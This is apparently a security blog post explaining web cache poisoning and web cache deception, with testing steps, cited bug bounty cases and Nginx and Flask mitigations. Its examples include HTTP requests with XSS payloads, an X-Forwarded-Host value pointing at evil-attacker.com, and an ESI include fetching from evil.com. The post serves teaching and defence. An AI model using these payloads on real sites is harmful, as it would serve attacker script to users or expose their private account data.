Web applications today rely heavily on caching to improve performance and reduce server load. CDNs like Cloudflare, Akamai, and reverse proxies like Nginx store frequently requested content so users get faster responses. But when these caching systems are misconfigured or behave unexpectedly, they can become serious security vulnerabilities.
This post covers two related but different attack types that exploit caching mechanisms: Web Cache Poisoning and Web Cache Deception. While both target caches, they work in opposite ways and have different goals.

Understanding Web Cache Basics
Before exploring advanced attacks like Web Cache Poisoning and Web Cache Deception, it’s essential to understand how web caching works under the hood. Many cache-related vulnerabilities exist not because caches are insecure by design, but because they are misconfigured or misunderstood.
Let’s break down the core concepts step by step.
A web cache is an intermediary system that sits between users (clients) and the origin web server. Its primary purpose is to improve performance, reduce latency, and lower server load by reusing previously generated responses.
The flow typically looks like this:

When a user requests a resource, the cache decides whether it can serve a stored response or needs to fetch a fresh one from the backend server.
Every request handled by a cache falls into one of two categories:

Caches aim to maximize cache hits, as they significantly improve response times and reduce infrastructure costs.
Caches are designed primarily to store static resources, such as:
.css).js).png, .jpg, .svg)These resources typically don’t change frequently and are safe to serve to all users.
Dynamic or personalized content—such as account dashboards, profile pages, or API responses—is typically not cached in well-configured systems. However, modern CDNs and caching layers may still cache such responses depending on cache-control headers or custom rules. This assumption can break down when cache configurations are overly permissive or misconfigured.
Dynamic responses can still be cached under certain conditions, including:
Cache-Control: publicCache-Control: max-age=3600These situations create opportunities for attackers to abuse caching behavior.
Cache behavior is heavily influenced by HTTP response headers, including:
Cache-Control Defines whether and how a response can be cached (public, private, no-store, max-age).Expires Specifies an absolute time when the cached response becomes invalid.Pragma: no-cache Legacy directive still honored by some caches.Misuse or misunderstanding of these headers is one of the most common root causes of cache vulnerabilities.
The cache key determines how a cache identifies unique requests. If two requests share the same cache key, they will receive the same cached response.
A cache key usually includes:
/home, /static/app.js)/?size=large&color=blue)example.com)However—and this is critical—not every part of an HTTP request is necessarily included in the cache key.
Many request elements may influence how the server generates a response but are ignored by the cache. These are known as unkeyed inputs.
Common unkeyed components include:
X-Forwarded-Host, X-Original-URL)utm_source, ref)This mismatch is the foundation for both cache poisoning and cache deception attacks.
When the cache and the server disagree on what makes a request “unique,” serious security issues arise:
This can result in:
Most real-world applications rely on multiple caching layers:
Each layer may interpret URLs, headers, and cache rules differently, increasing the likelihood of misconfiguration.
Cache-related vulnerabilities are often overlooked because they don’t fit traditional exploit models. There may be no SQL injection, no authentication bypass, and no obvious error messages—yet the impact can be severe.
Understanding:
is a prerequisite for identifying Web Cache Poisoning and Web Cache Deception vulnerabilities effectively.
With these fundamentals in place, we can now explore:
These attacks may be subtle—but when they work, they scale instantly.
Web Cache Poisoning occurs when an attacker manipulates a web request to inject malicious content into a cache. Once the cache is poisoned, it serves this malicious content to all users who request the affected resource. In other words, instead of delivering the legitimate content, the cache distributes the attacker’s payload to unsuspecting users.
The key reason this attack works is due to “unkeyed inputs”—parts of the HTTP request that affect the server’s response but are not included in the cache key. These inputs can include headers like X-Forwarded-Host, certain query parameters, or cookies. Because the cache doesn’t distinguish responses based on these inputs, malicious content can slip through undetected.

Here’s a step-by-step breakdown of a typical cache poisoning attack:
Note: Ensure the response is cacheable. For the attack to succeed, the response must be stored by the cache. This typically requires permissive caching behavior, such as Cache-Control: public, a positive max-age, or CDN rules that allow caching of the endpoint. If the response is not cached, the attack will not persist.
Step 1: Identify Whether the Application Uses Caching
Before attempting any cache poisoning attack, the first task is to confirm whether the application is actually using a cache. This can usually be determined by inspecting HTTP response headers.
Look for the following indicators:
Cache-Control: public, max-age=3600 Indicates that the response can be cached and reused.X-Cache: HIT or X-Cache: MISS Shows whether the response was served from the cache or fetched from the origin server.Age: 1200 Displays how long (in seconds) the response has been stored in the cache.Vary: Accept-Encoding Reveals which request components are included in the cache key.If these headers are present, the application is likely behind a caching layer such as a CDN, reverse proxy, or application-level cache.
Step 2: Test for Unkeyed Inputs
Once caching is confirmed, the next step is to look for unkeyed inputs—request components that influence the server’s response but are not included in the cache key.
A simple way to test this is by injecting random headers or parameters and observing whether they appear in the response:
GET / HTTP/1.1
Host: target.com
X-Test-Header: random12345
If random12345 is reflected in the response and the page still gets cached, this suggests the presence of a potential unkeyed input—an essential condition for cache poisoning.
Step 3: Test Commonly Vulnerable Headers
Certain HTTP headers are frequently trusted by backend applications but ignored by caching mechanisms. These headers should always be tested during cache poisoning assessments:
X-Forwarded-HostX-Forwarded-ServerX-Original-URLX-Rewrite-URLX-HostIf any of these headers affect the response content without altering the cache key, they can potentially be weaponized.
Step 4: Test Cache Key Variations
Not all cache poisoning issues rely on headers alone. Sometimes, subtle URL variations can reveal inconsistencies in how cache keys are constructed.
Try the following techniques:
/page?a=1&b=2 vs /page?b=2&a=1/page vs /Page%2e%2e/ vs ../Differences in server behavior combined with identical caching behavior can open the door to poisoning attacks.
A Real-World Cache Poisoning Example
Consider a scenario where a website uses the X-Forwarded-Host header to dynamically build asset URLs in its HTML responses.
GET /homepage HTTP/1.1
Host: victim.com
X-Forwarded-Host: evil-attacker.com
HTTP/1.1 200 OK
Cache-Control: public, max-age=3600
X-Cache: MISS
<html>
<head>
<script src="<https://evil-attacker.com/malicious.js>"></script>
</head>
...
Because X-Forwarded-Host is not part of the cache key, this response gets cached. From this point onward, any legitimate user visiting /homepage receives the poisoned response, causing their browser to load malicious JavaScript from the attacker’s domain.
Many applications reflect headers like X-Forwarded-Host or X-Original-URL in HTML responses. If these headers are unkeyed, attackers can inject XSS payloads that persist in the cache:
GET / HTTP/1.1
Host: example.com
X-Forwarded-Host: "><script>alert('XSS')</script>
Once cached, every visitor receives the injected script.
Some applications rely on forwarded headers to construct redirect URLs:
GET /login HTTP/1.1
Host: example.com
X-Forwarded-Host: malicious-site.com
If the redirect response is cached, all users attempting to access /login may be silently redirected to the attacker’s website.
Tracking or marketing parameters are often ignored by cache keys but still reflected in responses:
GET /?utm_source="><script>alert(1)</script> HTTP/1.1
Host: marketing-site.com
If the application embeds utm_source into analytics scripts or page content without proper sanitization, this can result in a cached XSS affecting every visitor.
Web Cache Deception is a class of caching vulnerability where attackers exploit inconsistencies between how a caching layer and a web server interpret URLs. Unlike Web Cache Poisoning—where malicious content is injected—cache deception focuses on exposing sensitive user data that should never be cached in the first place.
In a Web Cache Deception attack, the attacker manipulates a URL so that the caching system believes it is serving a static, cacheable resource, such as a CSS, JavaScript, or image file. However, when this request reaches the backend server, it is processed as a dynamic endpoint and returns user-specific, sensitive content.
The core issue lies in the mismatch of interpretation:
As a result, private data belonging to an authenticated user may be stored in a shared cache and later retrieved by anyone who requests the same crafted URL—without authentication.
This makes Web Cache Deception particularly dangerous: attackers don’t need to compromise the server or inject payloads. A single victim request can be enough to leak sensitive information to multiple unauthorized users.

Web Cache Deception is a powerful attack technique that tricks caching systems into storing and serving sensitive, user-specific content as if it were static, public data. Unlike cache poisoning, the attacker doesn’t inject malicious content—instead, they steal private data by abusing how caches classify resources.
Let’s walk through a typical cache deception scenario.
https://mybank.com/account/balance.css.css extension, the application’s routing logic maps the request to /account/balance , returning Alice’s authenticated account data..css extension, the cache assumes this is a static asset and stores the response.https://mybank.com/account/balance.css The cache serves Alice’s cached, sensitive account data—without authentication.This single click is enough to leak private user information to anyone who knows the poisoned URL.
Discovering cache deception issues requires systematically identifying sensitive endpoints and testing how they behave when combined with static-looking paths.
Step 1: Map Sensitive Endpoints
Start by identifying endpoints that return user-specific or confidential data, such as:
/profile, /account, /dashboard/settings, /billing, /messages/api/user, /api/meAny endpoint that returns personalized content is a strong candidate.
Step 2: Test with Static File Extensions
Next, append common static file extensions to these sensitive endpoints and observe the response behavior:
GET /profile.jpg HTTP/1.1
GET /account.css HTTP/1.1
GET /settings.js HTTP/1.1
GET /api/me.json HTTP/1.1
If the application still returns the authenticated content, you may have found a cache deception condition.
Step 3: Look for Caching Indicators
Check the response headers carefully. The following headers are strong indicators that caching is taking place:
X-Cache: HIT – The response was served from cacheAge: 300 – Shows how long the response has been cachedCache-Control: public – Indicates the response is cacheableIf a sensitive response is marked as public or shows cache hits, the risk is high.
Step 4: Verify from a Different Session
To confirm exploitability, access the same URL from:
If the response still contains the original user’s data, the cache deception attack is successful.
Attackers rely on various URL manipulation techniques to confuse caching layers while keeping backend routing intact.
Appending static extensions to dynamic endpoints:
/profile.css/account.js/settings.html/api/data.jsonCaches often whitelist these extensions as static, while backend frameworks ignore them.
Abusing differences between cache and backend URL parsing:
/account.php/fake.css Backend processes /account.php, cache stores /fake.css/profile;test.js Semicolon delimiter confusion/user%2Fdata.css URL-encoded path traversal tricksWhen caches are configured to store only certain directories:
/static/../profile/assets/..%2FprofileThese paths may bypass cache rules while still resolving to sensitive endpoints.
Some CDNs implement protections to prevent cache deception. For example, Cloudflare introduced Cache Deception Armor to block common static extensions.
However, researchers discovered bypasses using newer or less common file extensions:
GET /sensitive-page.avif HTTP/1.1
Because the extension .avif was not included in Cloudflare’s protected extension list at the time, it bypassed extension-based caching safeguards.
This issue was publicly reported in HackerOne Report #439021.
Modern infrastructures often include multiple caching layers, such as:
In such cases, attackers may need to poison different layers independently:
GET /account.css HTTP/1.1
Host: example.com
X-Forwarded-For: attacker-ip
Each cache may interpret and store the response differently, increasing the attack surface.
Glassdoor Cache Poisoning Leading to XSS (Report #1424094) Researcher @bombon found a cache poisoning issue that led to caching of gdToken (Anti-CSRF token) across different Glassdoor pages and could be chained to perform XSS by caching malicious payloads. The vulnerability was fixed using Cloudflare’s Web Cache Armor and explicit cache-control headers. This shows how CSRF tokens can become unkeyed inputs leading to serious security issues.
Semrush Cache Deception Attack (Report #439021) A cache deception vulnerability was found that could expose sensitive user data, with the researcher noting it was “found first time in PayPal.” This reference to PayPal shows how cache deception has affected major payment platforms.
Application Level: The most important thing is to not reflect user-controlled headers without validation:
# Vulnerable code
redirect_url = f"https://{request.headers.get('X-Forwarded-Host')}/dashboard"
# Secure code
allowed_hosts = ['mysite.com', 'www.mysite.com']
host = request.headers.get('X-Forwarded-Host', 'mysite.com')
if host not in allowed_hosts:
host = 'mysite.com'
redirect_url = f"https://{host}/dashboard"
Use Vary Headers Properly: If you must use headers that affect responses, include them in the cache key using the Vary header. However, only include trusted and validated headers—avoid user-controlled headers like X-Forwarded-Host unless strictly necessary, as they can lead to cache fragmentation or abuse.
Cache-Control: public, max-age=3600
Vary: X-Forwarded-Host, Accept-Language
Cache Configuration: Configure your cache to include relevant headers in the cache key:
# Nginx example
proxy_cache_key $scheme$proxy_host$request_uri$http_x_forwarded_host;
Set Proper Headers for Dynamic Content: Always mark user-specific content as non-cacheable:
@app.route('/account')
def account():
response = make_response(render_template('account.html'))
response.headers['Cache-Control'] = 'no-store, no-cache, must-revalidate, private'
response.headers['Pragma'] = 'no-cache'
return response
Session-Aware Caching: Make sure caches consider authentication:
# Include authentication in cache decisions
Vary: Cookie, Authorization
Cache-Control: private
Strict Static File Rules: Only cache actual static files:
# Nginx - only cache if file actually exists
location ~* \\\\.(css|js|png|jpg|jpeg|gif)$ {
try_files $uri =404;
expires 1y;
add_header Cache-Control "public, immutable";
}
Never Cache Authenticated Requests:
# Don't cache any request with session cookies
location / {
if ($http_cookie ~ "sessionid") {
add_header Cache-Control "no-store, no-cache";
}
For Cache Poisoning:
X-Cache, Age headers)X-Forwarded-Host, X-Original-URL)For Cache Deception:
As web applications become more complex and caching more sophisticated, we’re seeing new attack vectors emerge:
Edge-Side Includes (ESI) Injection
Modern CDNs support ESI for dynamic content assembly. If user-controlled input is reflected into responses that are processed by the CDN, attackers may be able to inject malicious ESI directives such as
<!--esi <esi:include src="<http://evil.com/malicious>" /> -->
When the CDN processes this directive, it can fetch and include attacker-controlled content, potentially leading to cache poisoning or unintended content injection.
HTTP/2 and HTTP/3 Complications
New protocols introduce request/response multiplexing that can create novel cache confusion scenarios.
AI-Powered Cache Optimization
Machine learning algorithms that optimize cache behavior might be susceptible to adversarial inputs designed to manipulate caching decisions.
Cache-based attacks are becoming more common as applications rely heavily on CDNs and caching for performance. The key to staying safe is understanding how your caching architecture works and testing it regularly.
For Developers:
Cache-Control headers for dynamic contentVary headers when request components affect responsesFor Security Teams:
For DevOps:
These vulnerabilities often exist because different teams (frontend, backend, DevOps) make decisions independently without considering the security implications of their combined effect. Regular communication and security-focused testing can prevent most cache-based attacks.
The web is getting faster with better caching, but we need to make sure we’re not sacrificing security for performance. Understanding these attack vectors and implementing proper defenses helps ensure our applications stay both fast and secure.
https://portswigger.net/web-security/web-cache-poisoning
https://www.vaadata.com/blog/web-cache-poisoning-attacks-and-security-best-practices/
https://owasp.org/www-community/attacks/Cache_Poisoning
https://www.jianjunchen.com/p/web-cache-posioning.CCS24.pdf
https://portswigger.net/web-security/web-cache-deception
https://www.blackhat.com/docs/us-17/wednesday/us-17-Gil-Web-Cache-Deception-Attack.pdf
https://book.hacktricks.wiki/en/pentesting-web/cache-deception/index.html